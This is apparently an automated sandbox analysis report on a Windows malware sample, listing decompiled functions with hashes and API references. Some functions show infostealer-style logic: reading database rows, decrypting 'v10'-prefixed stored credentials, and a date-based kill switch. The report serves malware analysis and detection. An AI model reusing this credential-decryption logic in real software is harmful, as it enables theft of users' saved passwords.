API ID: lstrcat$Heap$AllocProcesslstrlenwsprintf
String ID:
API String ID: 2521749834-0
Opcode ID: c5dc5b5050ca6ce53b0751024b99b8820d3d4c2a19f99ac036a3bfd0b534794e
Instruction ID: 47a0f2a38496121661132fc87b0cff2ed1f764a2d042717a035fbc57cbedc435
Opcode Fuzzy Hash: c5dc5b5050ca6ce53b0751024b99b8820d3d4c2a19f99ac036a3bfd0b534794e
Instruction Fuzzy Hash: B64184B1A00218ABCB24DBA4DC4AFEA7378AB48700F0085A9F70997141D7759A95CFA9

Uniqueness

Uniqueness Score: -1.00%

Function 0043519A, Relevance: 10.7, APIs: 7, Instructions: 238COMMON

Download Yara Rule

APIs

_get_int_arg.LIBCMTD ref: 0043519E
__get_printf_count_output.LIBCMTD ref: 004351AC
_write_multi_char.LIBCMTD ref: 004357D5
_write_string.LIBCMTD ref: 004357F0
_write_multi_char.LIBCMTD ref: 0043581C
__mbtowc_l.LIBCMTD ref: 0043588B

Memory Dump Source

Source File: 00000016.00000002.525001968.0000000000424000.00000020.00020000.sdmp, Offset: 00424000, based on PE: false

Similarity

API ID: _write_multi_char$__get_printf_count_output__mbtowc_l_get_int_arg_write_string
String ID:
API String ID: 4168457693-0
Opcode ID: 569098781f2342254e88086737e73b924ac99ae76202dbc40544dc9b979b6f50
Instruction ID: be97bb05a532dd3ad2c9dfb5dfa299d505737e88d05ce48dee157846f3da3a13
Opcode Fuzzy Hash: 569098781f2342254e88086737e73b924ac99ae76202dbc40544dc9b979b6f50
Instruction Fuzzy Hash: EBA18FB5D00629DBDB24DB45CC85BEEB3B4AB48304F1454DAE6096B282D778AE84CF1D

Uniqueness

Uniqueness Score: -1.00%

Function 004340C1, Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 104COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 00434122
__aullrem.LIBCMT ref: 004342EF
__aulldiv.LIBCMT ref: 00434311

Strings

0, xrefs: 004340DD
', xrefs: 004340C1
9, xrefs: 00434322

Memory Dump Source

Source File: 00000016.00000002.525001968.0000000000424000.00000020.00020000.sdmp, Offset: 00424000, based on PE: false

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: '$0$9
API String ID: 3120068967-269856862
Opcode ID: 7c3bdb249bc1c3ef74f473ea8e0ab11ae7aae7dd4920d5b9fd2b2eeb58f39026
Instruction ID: d19e6af3f020c704373ffb05846c153e563d748d08f43815e24f104b94de8e55
Opcode Fuzzy Hash: 7c3bdb249bc1c3ef74f473ea8e0ab11ae7aae7dd4920d5b9fd2b2eeb58f39026
Instruction Fuzzy Hash: 5241D271905628CFDB24CF88C899BEEB7B5FB88304F1491DAE449A7245C7386A81CF55

Uniqueness

Uniqueness Score: -1.00%

Function 00434FC4, Relevance: 9.2, APIs: 6, Instructions: 222COMMON

Download Yara Rule

APIs

_get_int_arg.LIBCMTD ref: 00434FC8
_write_multi_char.LIBCMTD ref: 004357D5
_write_string.LIBCMTD ref: 004357F0
_write_multi_char.LIBCMTD ref: 0043581C
__mbtowc_l.LIBCMTD ref: 0043588B

Memory Dump Source

Source File: 00000016.00000002.525001968.0000000000424000.00000020.00020000.sdmp, Offset: 00424000, based on PE: false

Similarity

API ID: _write_multi_char$__mbtowc_l_get_int_arg_write_string
String ID:
API String ID: 4186970751-0
Opcode ID: 521595aa39792d0afda8dd09ef1cfc20c7b6eab91eb463893d888ff7baf83c02
Instruction ID: aa709c22ed278b85c2dec6984d18d6729a0358ff993b40accac0862790c291c2
Opcode Fuzzy Hash: 521595aa39792d0afda8dd09ef1cfc20c7b6eab91eb463893d888ff7baf83c02
Instruction Fuzzy Hash: 37A19DB5D00618CBDB24DF55CC85BEEB3B4AB88305F14919AE6096B281D738AE84CF59

Uniqueness

Uniqueness Score: -1.00%

Function 004149AD, Relevance: 9.1, APIs: 6, Instructions: 98
COMMON

Download Yara Rule

C-Code - Quality: 24%

			E004149AD(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				void* _t36;
				intOrPtr* _t40;
				intOrPtr _t45;
				intOrPtr _t47;
				intOrPtr* _t52;
				intOrPtr* _t54;
				void* _t55;
				void* _t57;

				_push(0x20);
				_push(0x41dab8);
				E004146B0(__ebx, __edi, __esi);
				E00413BD7(__ebx, __edi, 8);
				 *(_t55 - 4) =  *(_t55 - 4) & 0x00000000;
				_t57 =  *0x41f040 - 1; // 0x0
				if(_t57 != 0) {
					 *0x41f03c = 1;
					_t34 =  *((intOrPtr*)(_t55 + 0x10));
					 *0x41f038 =  *((intOrPtr*)(_t55 + 0x10));
					if( *((intOrPtr*)(_t55 + 0xc)) == 0) {
						_t54 = __imp__DecodePointer;
						_t34 =  *_t54( *0x420c10);
						_t45 = 1;
						 *((intOrPtr*)(_t55 - 0x30)) = 1;
						if(1 != 0) {
							_t34 =  *_t54( *0x420c0c);
							_t52 = 1;
							 *((intOrPtr*)(_t55 - 0x2c)) = 1;
							 *((intOrPtr*)(_t55 - 0x24)) = 1;
							 *((intOrPtr*)(_t55 - 0x28)) = 1;
							while(1) {
								_t52 = _t52 - 4;
								 *((intOrPtr*)(_t55 - 0x2c)) = _t52;
								if(_t52 < _t45) {
									goto L11;
								}
								if( *_t52 == _t34) {
									continue;
								} else {
									if(_t52 >= _t45) {
										_t40 =  *_t54( *_t52);
										 *_t52 = E004137AA(_t40);
										 *_t40();
										_t47 =  *_t54( *0x420c10);
										_t34 =  *_t54( *0x420c0c);
										if( *((intOrPtr*)(_t55 - 0x24)) != _t47 ||  *((intOrPtr*)(_t55 - 0x28)) != _t34) {
											 *((intOrPtr*)(_t55 - 0x24)) = _t47;
											 *((intOrPtr*)(_t55 - 0x30)) = _t47;
											 *((intOrPtr*)(_t55 - 0x28)) = _t34;
											_t52 = _t34;
											 *((intOrPtr*)(_t55 - 0x2c)) = _t52;
										}
										_t45 =  *((intOrPtr*)(_t55 - 0x30));
										continue;
									}
								}
								goto L11;
							}
						}
						L11:
						 *((intOrPtr*)(_t55 - 0x1c)) = 0x4170f4;
						while( *((intOrPtr*)(_t55 - 0x1c)) < 0x4170f8) {
							_t34 =  *((intOrPtr*)( *((intOrPtr*)(_t55 - 0x1c))));
							if(_t34 != 0) {
								_t34 =  *_t34();
							}
							 *((intOrPtr*)(_t55 - 0x1c)) =  *((intOrPtr*)(_t55 - 0x1c)) + 4;
						}
					}
					 *((intOrPtr*)(_t55 - 0x20)) = 0x4170fc;
					while( *((intOrPtr*)(_t55 - 0x20)) < 0x417100) {
						_t34 =  *((intOrPtr*)( *((intOrPtr*)(_t55 - 0x20))));
						if(_t34 != 0) {
							_t34 =  *_t34();
						}
						 *((intOrPtr*)(_t55 - 0x20)) =  *((intOrPtr*)(_t55 - 0x20)) + 4;
					}
				}
				 *(_t55 - 4) = 0xfffffffe;
				L23();
				if( *((intOrPtr*)(_t55 + 0x10)) != 0) {
					return E004146F5(_t34);
				} else {
					 *0x41f040 = 1;
					_t36 = E00413AFE(8);
					E00414995( *((intOrPtr*)(_t55 + 8)));
					if( *((intOrPtr*)(_t55 + 0x10)) != 0) {
						return E00413AFE(8);
					}
					return _t36;
				}
			}

0x004149ad
0x004149af
0x004149b4
0x004149bb
0x004149c1
0x004149c8
0x004149ce
0x004149d4
0x004149d9
0x004149dc
0x004149e5
0x004149f1
0x004149f7
0x004149f9
0x004149fb
0x00414a00
0x00414a08
0x00414a0a
0x00414a0c
0x00414a0f
0x00414a12
0x00414a15
0x00414a15
0x00414a18
0x00414a1d
0x00000000
0x00000000
0x00414a26
0x00000000
0x00414a28
0x00414a2a
0x00414a2e
0x00414a37
0x00414a39
0x00414a43
0x00414a4b
0x00414a50
0x00414a57
0x00414a5a
0x00414a5d
0x00414a60
0x00414a62
0x00414a62
0x00414a65
0x00000000
0x00414a65
0x00414a2a
0x00000000
0x00414a26
0x00414a15
0x00414a6a
0x00414a6a
0x00414a71
0x00414a7d
0x00414a81
0x00414a83
0x00414a83
0x00414a85
0x00414a85
0x00414a71
0x00414a8b
0x00414a92
0x00414a9e
0x00414aa2
0x00414aa4
0x00414aa4
0x00414aa6
0x00414aa6
0x00414a92
0x00414aac
0x00414ab3
0x00414abc
0x00414aec
0x00414abe
0x00414abe
0x00414aca
0x00414ad3
0x00414adc
0x00000000
0x00414ae5
0x00414ae6
0x00414ae6

APIs

__lock.LIBCMT ref: 004149BB

Part of subcall function 00413BD7: __mtinitlocknum.LIBCMT ref: 00413BED
Part of subcall function 00413BD7: __amsg_exit.LIBCMT ref: 00413BF9
Part of subcall function 00413BD7: EnterCriticalSection.KERNEL32(?,?,?,00413831,0000000D), ref: 00413C01

DecodePointer.KERNEL32(0041DAB8,00000020,00414AFE,0041347C,00000001,00000000,|4A,00414B20,000000FF,?,00413BFE,00000011,?,?,00413831,0000000D), ref: 004149F7
DecodePointer.KERNEL32(?,00413BFE,00000011,?,?,00413831,0000000D), ref: 00414A08

Part of subcall function 004137AA: EncodePointer.KERNEL32(00000000,00415C81,0041F048,00000314,00000000,?,?,?,?,?,00414C84,0041F048,Microsoft Visual C++ Runtime Library,00012010), ref: 004137AC

DecodePointer.KERNEL32(-00000004,?,00413BFE,00000011,?,?,00413831,0000000D), ref: 00414A2E
DecodePointer.KERNEL32(?,00413BFE,00000011,?,?,00413831,0000000D), ref: 00414A41
DecodePointer.KERNEL32(?,00413BFE,00000011,?,?,00413831,0000000D), ref: 00414A4B

Memory Dump Source

Source File: 00000016.00000002.524651161.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: Pointer$Decode$CriticalEncodeEnterSection__amsg_exit__lock__mtinitlocknum
String ID:
API String ID: 2005412495-0
Opcode ID: 323d1d234a32b9f875aee6f2d54dbaa371586bcb093a5ee0c041f95a1e6843d7
Instruction ID: 881b018b2a09cebbc7b22e9b935c3d6027c5f4426ac03a043f06bca9cadbeda6
Opcode Fuzzy Hash: 323d1d234a32b9f875aee6f2d54dbaa371586bcb093a5ee0c041f95a1e6843d7
Instruction Fuzzy Hash: CE3147709403099FDF109FAAD8816DDBBF0BF88395F11802BE114A6291CBBC4985CF2D

Uniqueness

Uniqueness Score: -1.00%

Function 00409110, Relevance: 9.1, APIs: 6, Instructions: 94
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 41%

			E00409110(void* __ecx, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v8;
				char _v276;
				intOrPtr _v280;
				char _v284;
				void* _v288;
				CHAR* _v292;
				CHAR* _t27;
				void* _t30;
				void* _t32;
				void* _t38;
				CHAR* _t44;
				intOrPtr _t58;
				void* _t64;
				void* _t66;
				void* _t67;
				void* _t70;

				E0040B2C0( &_v276, 0x104);
				_t27 =  *0x41f82c; // 0x8b3db8
				wsprintfA( &_v276, _t27, _a12, _a8);
				_t58 =  *0x41fa40; // 0x8af3c0
				_v280 = _t58;
				_t30 =  *0x41ffd8(_a4,  &_v8);
				_t66 = _t64 + 0x18;
				if(_t30 == 0) {
					_t32 =  *0x41ff90(_v8, _v280, 0xffffffff,  &_v284, 0);
					_t67 = _t66 + 0x14;
					if(_t32 != 0) {
						L6:
						 *0x41ffb0(_v284);
						return  *0x41ffdc(_v8);
					}
					_v288 = HeapAlloc(GetProcessHeap(), 0, 0xf423f);
					while(1) {
						_t38 =  *0x41ffac(_v284);
						_t70 = _t67 + 4;
						if(_t38 != 0x64) {
							break;
						}
						_t44 =  *0x41ffc8(_v284, 0);
						_t67 = _t70 + 8;
						_v292 = _t44;
						lstrcatA(_v288, _v292);
						lstrcatA(_v288, "\n");
					}
					E004133B0(_a16,  &_v276, _v288,  *0x42009c(_v288));
					_t67 = _t70 + 0x10;
					E0040B2C0( &_v288, 4);
					goto L6;
				}
				return _t30;
			}

0x00409125
0x00409132
0x0040913f
0x00409148
0x0040914e
0x0040915c
0x00409162
0x00409167
0x00409183
0x00409189
0x0040918e
0x00409239
0x00409240
0x00000000
0x00409253
0x004091a8
0x004091ae
0x004091b5
0x004091bb
0x004091c1
0x00000000
0x00000000
0x004091cc
0x004091d2
0x004091d5
0x004091e9
0x004091fb
0x004091fb
0x00409223
0x00409228
0x00409234
0x00000000
0x00409234
0x00409259

APIs

wsprintfA.USER32 ref: 0040913F
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 0040919B
HeapAlloc.KERNEL32(00000000), ref: 004091A2
lstrcatA.KERNEL32(?,?), ref: 004091E9
lstrcatA.KERNEL32(?,0041D304), ref: 004091FB
lstrlen.KERNEL32(?), ref: 0040920A

Memory Dump Source

Source File: 00000016.00000002.524651161.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: Heaplstrcat$AllocProcesslstrlenwsprintf
String ID:
API String ID: 4008826846-0
Opcode ID: 5eefdcd2a8fed8c042ce90e52d6fbb29abf78706b2827b64907f5a7fbd9b06a3
Instruction ID: 5430454449f80bd93bfdb4a21ca8fe5e1bfdfda619de09636086ea19fa6787cb
Opcode Fuzzy Hash: 5eefdcd2a8fed8c042ce90e52d6fbb29abf78706b2827b64907f5a7fbd9b06a3
Instruction Fuzzy Hash: C83152B190020CABCB24DFA4DC46FEA7378AB48300F0085A9F70997181D7759A56CF99

Uniqueness

Uniqueness Score: -1.00%

Function 00406420, Relevance: 9.1, APIs: 6, Instructions: 75
timestringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00406420(void* __ecx, void* __eflags) {
				struct _FILETIME _v12;
				struct _FILETIME _v20;
				char _v284;
				struct _SYSTEMTIME _v300;
				struct _SYSTEMTIME _v316;
				int _t45;
				char* _t52;
				CHAR* _t57;
				void* _t66;

				E0040B2C0( &_v284, 0x104);
				_v300.wYear = 0;
				_v300.wMonth = 0;
				_v300.wDay = 0;
				_v300.wMinute = 0;
				_v300.wMilliseconds = 0;
				_v316.wYear = 0;
				_v316.wMonth = 0;
				_v316.wDay = 0;
				_v316.wMinute = 0;
				_v316.wMilliseconds = 0;
				_v20.dwLowDateTime = 0;
				_v20.dwHighDateTime = 0;
				_v12.dwLowDateTime = 0;
				_v12.dwHighDateTime = 0;
				GetSystemTime( &_v300);
				_t57 =  *0x41fdb4; // 0x8ac1c0
				lstrcatA( &_v284, _t57);
				_t52 =  *0x41f8b4; // 0x8ac220
				sscanf( &_v284, _t52,  &(_v316.wDay),  &(_v316.wMonth),  &_v316,  &(_v316.wHour),  &(_v316.wMinute),  &(_v316.wSecond));
				SystemTimeToFileTime( &_v300,  &_v20);
				_t45 = SystemTimeToFileTime( &_v316,  &_v12);
				_t66 = _v20.dwHighDateTime - _v12.dwHighDateTime;
				if(_t66 >= 0 && (_t66 > 0 || _v20.dwLowDateTime > _v12.dwLowDateTime)) {
					ExitProcess(0);
				}
				return _t45;
			}

0x00406435
0x0040643c
0x00406445
0x0040644b
0x00406451
0x00406457
0x00406460
0x00406469
0x0040646f
0x00406475
0x0040647b
0x00406482
0x0040648b
0x0040648e
0x00406497
0x004064a1
0x004064a7
0x004064b5
0x004064e5
0x004064f3
0x00406507
0x00406518
0x00406521
0x00406524
0x00406532
0x00406532
0x0040653b

APIs

GetSystemTime.KERNEL32(?,?,00000104), ref: 004064A1
lstrcatA.KERNEL32(?,008AC1C0), ref: 004064B5
sscanf.NTDLL ref: 004064F3
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 00406507
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 00406518
ExitProcess.KERNEL32 ref: 00406532

Memory Dump Source

Source File: 00000016.00000002.524651161.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: Time$System$File$ExitProcesslstrcatsscanf
String ID:
API String ID: 2797641603-0
Opcode ID: de7be6cdca25772024344ff973a087d1fd7eaa2d5d33fe449f956aa515e33b67
Instruction ID: 5d7d51ed2e3f7b136074411d7bd6b37d8f91617cf15938089af9c2b252fef5aa
Opcode Fuzzy Hash: de7be6cdca25772024344ff973a087d1fd7eaa2d5d33fe449f956aa515e33b67
Instruction Fuzzy Hash: 0031D172D1021CABCB68DF94DC85ADEB7B9AF48300F4085EAE10AA3154EB305B95CF58

Uniqueness

Uniqueness Score: -1.00%

Function 004340AE, Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 106COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 00434122
__aullrem.LIBCMT ref: 004342EF
__aulldiv.LIBCMT ref: 00434311

Strings

0, xrefs: 004340DD
9, xrefs: 00434322

Memory Dump Source

Source File: 00000016.00000002.525001968.0000000000424000.00000020.00020000.sdmp, Offset: 00424000, based on PE: false

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 0$9
API String ID: 3120068967-1975997740
Opcode ID: ea8e074ca0a0b07f47860d19c31b48648ec09fd9d9126cd6f2b848436e10728a
Instruction ID: 7058297eeefd36d8fb5605a65e14ab4557dbd266e17c5b75639c5f691ec3a9db
Opcode Fuzzy Hash: ea8e074ca0a0b07f47860d19c31b48648ec09fd9d9126cd6f2b848436e10728a
Instruction Fuzzy Hash: 9341E371D05628CFDB24CF88C899BEEBBB5FB88304F1491DAE449A7240C7386A81CF55

Uniqueness

Uniqueness Score: -1.00%

Function 00435463, Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 105COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 004354CA
__aullrem.LIBCMT ref: 0043569A
__aulldiv.LIBCMT ref: 004356BC

Strings

', xrefs: 00435463
9, xrefs: 004356CD

Memory Dump Source

Source File: 00000016.00000002.525001968.0000000000424000.00000020.00020000.sdmp, Offset: 00424000, based on PE: false

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: '$9
API String ID: 3120068967-1823400153
Opcode ID: 7a10b8c99142ab5d514452e15933beec413e131ae2617611f5c867271cc27d04
Instruction ID: 51d9a1fbd80eafda51ca2ce598381c26f2ef3e4b112cf353d38ccc0505c81beb
Opcode Fuzzy Hash: 7a10b8c99142ab5d514452e15933beec413e131ae2617611f5c867271cc27d04
Instruction Fuzzy Hash: 924118B1E005299FDB24CF58C942BAEB7B5FF89314F10509AD149A7241D778AE81CF4A

Uniqueness

Uniqueness Score: -1.00%

Function 00406DF0, Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 104
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 52%

			E00406DF0(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				intOrPtr _v8;
				intOrPtr _v48;
				intOrPtr _v52;
				intOrPtr _v64;
				intOrPtr _v68;
				intOrPtr _v72;
				int _v76;
				long _v80;
				CHAR* _v84;
				char _v88;
				char _v5092;
				void* _t58;
				void* _t93;

				E00416530(0x13e0);
				if(_a8 < 3) {
					L10:
					return E00406D50(_a4, _a8);
				}
				asm("repe cmpsb");
				if(0 != 0) {
					goto L10;
				}
				if(((0 | _a12 != 0x00000000) & (0 | _a16 != 0x00000000)) == 0) {
					return 0x41d8e0;
				}
				E00413730( &_v76, 0, 0x40);
				_v76 = 0x40;
				_v72 = 1;
				_v68 = _a4 + 3;
				_v64 = 0xc;
				_v52 = _v68 + _a8 - 0x13;
				_v48 = 0x10;
				_v80 = _a8 - 3 - _v64 - _v48;
				_t58 = LocalAlloc(0x40, _v80);
				_v84 = _t58;
				if(_v84 == 0) {
					return _t58;
				}
				_v88 = 0;
				_v8 =  *0x4201e8(_a16, _v68 + _v64, _v80,  &_v76, 0, 0, _v84, _v80,  &_v88, 0);
				if(_v8 < 0) {
					return 0x41d8e0;
				}
				E0040B2C0( &_v5092, 0x1388);
				lstrcatA( &_v5092, _v84);
				 *((char*)(_t93 + _v88 - 0x13e0)) = 0;
				return  &_v5092;
			}

0x00406df8
0x00406e03
0x00406f24
0x00000000
0x00406f31
0x00406e18
0x00406e1a
0x00000000
0x00000000
0x00406e34
0x00000000
0x00406f1b
0x00406e42
0x00406e4a
0x00406e51
0x00406e5e
0x00406e61
0x00406e72
0x00406e75
0x00406e88
0x00406e91
0x00406e97
0x00406e9e
0x00000000
0x00406f19
0x00406ea0
0x00406ed2
0x00406ed9
0x00000000
0x00406f12
0x00406ee7
0x00406ef7
0x00406f00
0x00000000

APIs

_memset.LIBCMT ref: 00406E42
LocalAlloc.KERNEL32(00000040,?), ref: 00406E91
lstrcatA.KERNEL32(?,00000000,?,00001388), ref: 00406EF7

Strings

v10, xrefs: 00406E0E
@, xrefs: 00406E4A

Memory Dump Source

Source File: 00000016.00000002.524651161.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: AllocLocal_memsetlstrcat
String ID: @$v10
API String ID: 1510088125-24753345
Opcode ID: e380a84be931fd40ff0a04a2639520a0ae27ef6a11a6beb3d714ccceba461f4a
Instruction ID: d422b1f78ae40f3a0ef8722f889c6e3c4ad4cbec25c450c8979d843190038b4c
Opcode Fuzzy Hash: e380a84be931fd40ff0a04a2639520a0ae27ef6a11a6beb3d714ccceba461f4a
Instruction Fuzzy Hash: 9D415071A10219EBDB14CFD8D844BEEB7B4FF44344F04812AF505AB284D7789A55CF59

Uniqueness

Uniqueness Score: -1.00%

Function 0040A840, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 33
memorytimeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040A840() {
				struct _SYSTEMTIME _v20;
				void* _v24;

				_v24 = HeapAlloc(GetProcessHeap(), 0, 0x104);
				GetLocalTime( &_v20);
				wsprintfA(_v24, "%d/%d/%d %d:%d:%d", _v20.wDay & 0x0000ffff, _v20.wMonth & 0x0000ffff, _v20.wYear & 0x0000ffff, _v20.wHour & 0x0000ffff, _v20.wMinute & 0x0000ffff, _v20.wSecond & 0x0000ffff);
				return _v24;
			}

0x0040a85a
0x0040a861
0x0040a88e
0x0040a89d

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,?,004053FA,?,?,?,?,00000104,?,00001388), ref: 0040A84D
HeapAlloc.KERNEL32(00000000,?,?,?,?,?,004053FA,?,?,?,?,00000104,?,00001388), ref: 0040A854
GetLocalTime.KERNEL32(?,?,?,?,?,?,004053FA,?,?,?,?,00000104,?,00001388), ref: 0040A861
wsprintfA.USER32 ref: 0040A88E

Strings

%d/%d/%d %d:%d:%d, xrefs: 0040A885

Memory Dump Source

Source File: 00000016.00000002.524651161.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: Heap$AllocLocalProcessTimewsprintf
String ID: %d/%d/%d %d:%d:%d
API String ID: 1243822799-1073349071
Opcode ID: 11c0a77437502c4d65c34ef407ba1eff59ad679db25ee52d9385c2b710d6f3ae
Instruction ID: e539cbebc5ca53e9c7023c8ccacaac0f93e62291188bfd43ac72fa2ad511973f
Opcode Fuzzy Hash: 11c0a77437502c4d65c34ef407ba1eff59ad679db25ee52d9385c2b710d6f3ae
Instruction Fuzzy Hash: 09F06DB5900118BBCB20DBD59D499BEB3F8AB08B02F40005AFA45A2181E6384A50D779

Uniqueness

Uniqueness Score: -1.00%

Function 0040B160, Relevance: 7.6, APIs: 5, Instructions: 50
stringCOMMON

Download Yara Rule

C-Code - Quality: 50%

			E0040B160(void* __eflags, char* _a4) {
				int _v8;
				int _v12;
				int _v16;
				void* _t50;

				_t50 = __eflags;
				_v12 = MultiByteToWideChar(0, 0, _a4,  *0x42009c(0), _a4, 0);
				_v16 = E0040B130( ~(0 | _t50 > 0x00000000) | (_v12 + 0x00000001) * 0x00000002,  ~(0 | _t50 > 0x00000000) | (_v12 + 0x00000001) * 0x00000002);
				_v8 = _v16;
				MultiByteToWideChar(0, 0, _a4,  *0x42009c(_v12), _a4, _v8);
				 *((short*)(_v8 + _v12 * 2)) = 0;
				return _v8;
			}

0x0040b160
0x0040b183
0x0040b1a5
0x0040b1ab
0x0040b1c9
0x0040b1d7
0x0040b1e1

APIs

lstrlen.KERNEL32(00000080,00000000,00000000,00000002,00000080,00000000), ref: 0040B16E
MultiByteToWideChar.KERNEL32(00000000,00000000,?,00000000), ref: 0040B17D
new[].LIBCMTD ref: 0040B19D
lstrlen.KERNEL32(?,?,?), ref: 0040B1BA
MultiByteToWideChar.KERNEL32(00000000,00000000,?,00000000), ref: 0040B1C9

Memory Dump Source

Source File: 00000016.00000002.524651161.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ByteCharMultiWidelstrlen$new[]
String ID:
API String ID: 4156461339-0
Opcode ID: 142f3c07d026c9911b4c35f44d0af56be5d02c73c27a11d4e6b1518c65d3aaf0
Instruction ID: 2f7b9a3c6521d0ea877ebfe8828c511149669d989620d6148320b0ad9463cc6c
Opcode Fuzzy Hash: 142f3c07d026c9911b4c35f44d0af56be5d02c73c27a11d4e6b1518c65d3aaf0
Instruction Fuzzy Hash: 5A01DE75A00108BBDB54DBA8DD46F9EBBF8EF48740F104158B609DB291D671AA018B54

Uniqueness

Uniqueness Score: -1.00%

Function 00413ECA, Relevance: 7.5, APIs: 5, Instructions: 34
COMMON

Download Yara Rule

C-Code - Quality: 78%

			E00413ECA(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				signed int _t12;
				void* _t28;
				intOrPtr _t29;
				void* _t30;
				void* _t31;

				_t31 = __eflags;
				_t26 = __edi;
				_t25 = __edx;
				_t20 = __ebx;
				_push(0xc);
				_push(0x41da58);
				E004146B0(__ebx, __edi, __esi);
				_t28 = E00413914(__ebx, __edx, _t31);
				_t12 =  *0x41ea7c; // 0xfffffffe
				if(( *(_t28 + 0x70) & _t12) == 0) {
					L6:
					E00413BD7(_t20, _t26, 0xc);
					 *(_t30 - 4) =  *(_t30 - 4) & 0x00000000;
					_t29 = _t28 + 0x6c;
					 *((intOrPtr*)(_t30 - 0x1c)) = E00413E7D(_t29,  *0x41e4f0);
					 *(_t30 - 4) = 0xfffffffe;
					E00413F37();
				} else {
					_t33 =  *((intOrPtr*)(_t28 + 0x6c));
					if( *((intOrPtr*)(_t28 + 0x6c)) == 0) {
						goto L6;
					} else {
						_t29 =  *((intOrPtr*)(E00413914(_t20, __edx, _t33) + 0x6c));
					}
				}
				_t34 = _t29;
				if(_t29 == 0) {
					_push(0x20);
					E00414B03(_t25, _t34);
				}
				return E004146F5(_t29);
			}

0x00413eca
0x00413eca
0x00413eca
0x00413eca
0x00413eca
0x00413ecc
0x00413ed1
0x00413edb
0x00413edd
0x00413ee5
0x00413f09
0x00413f0b
0x00413f11
0x00413f1b
0x00413f26
0x00413f29
0x00413f30
0x00413ee7
0x00413ee7
0x00413eeb
0x00000000
0x00413eed
0x00413ef2
0x00413ef2
0x00413eeb
0x00413ef5
0x00413ef7
0x00413ef9
0x00413efb
0x00413f00
0x00413f08

APIs

__getptd.LIBCMT ref: 00413ED6

Part of subcall function 00413914: __getptd_noexit.LIBCMT ref: 00413917
Part of subcall function 00413914: __amsg_exit.LIBCMT ref: 00413924

__getptd.LIBCMT ref: 00413EED
__amsg_exit.LIBCMT ref: 00413EFB
__lock.LIBCMT ref: 00413F0B
__updatetlocinfoEx_nolock.LIBCMT ref: 00413F1F

Memory Dump Source

Source File: 00000016.00000002.524651161.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__getptd_noexit__lock__updatetlocinfo
String ID:
API String ID: 938513278-0
Opcode ID: ec7e38bab2f1753b03d8a9af0cc9c43fb6250f9483d67ce20b0603376d00e3b0
Instruction ID: db4e736741c7fc85fb598ca338116b13e47f2a3ddba3d830ebb1edfe555eb680
Opcode Fuzzy Hash: ec7e38bab2f1753b03d8a9af0cc9c43fb6250f9483d67ce20b0603376d00e3b0
Instruction Fuzzy Hash: 0FF06D32D043109ADA20BF7A5803BDA76A06F0472AF10450FF550A72D2DB6D5BC1CA9D

Uniqueness

Uniqueness Score: -1.00%

Function 00436B13, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 124COMMON

Download Yara Rule

APIs

__isatty.LIBCMTD ref: 00436BF9
__getbuf.LIBCMTD ref: 00436C09
__write.LIBCMTD ref: 00436C91

Strings

~_C, xrefs: 00436C8D, 00436BF5, 00436BF8, 00436C90

Memory Dump Source

Source File: 00000016.00000002.525001968.0000000000424000.00000020.00020000.sdmp, Offset: 00424000, based on PE: false

Similarity

API ID: __getbuf__isatty__write
String ID: ~_C
API String ID: 2861569966-1943588345
Opcode ID: a400817c878aebcc6a25e13dc4f506215b075b3c80733d75cef5fde29b864947
Instruction ID: 55da2a3947b20a0a1d358e387fa27a713cf2cf3257dad02e584c7c0256590a3e
Opcode Fuzzy Hash: a400817c878aebcc6a25e13dc4f506215b075b3c80733d75cef5fde29b864947
Instruction Fuzzy Hash: 0451F874A00209EFDB14CF94C491AADFBB2FF48324F15D299D945AB396D638EA81CF44

Uniqueness

Uniqueness Score: -1.00%

Function 00435450, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 107COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 004354CA
__aullrem.LIBCMT ref: 0043569A
__aulldiv.LIBCMT ref: 004356BC

Strings

9, xrefs: 004356CD

Memory Dump Source

Source File: 00000016.00000002.525001968.0000000000424000.00000020.00020000.sdmp, Offset: 00424000, based on PE: false

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 9
API String ID: 3120068967-2366072709
Opcode ID: 587d34e9481cccb220f5f181fcec6e826acbbf9743806cb21d9144702bd99237
Instruction ID: 41f0960916990732eae317f84a65d319c47ea2648ca4f664cba9b4049361d5b0
Opcode Fuzzy Hash: 587d34e9481cccb220f5f181fcec6e826acbbf9743806cb21d9144702bd99237
Instruction Fuzzy Hash: 5C4128B1E10529DFDB24CF48C941BAEB7B5FF89314F10509AD149A7241D778AE81CF4A

Uniqueness

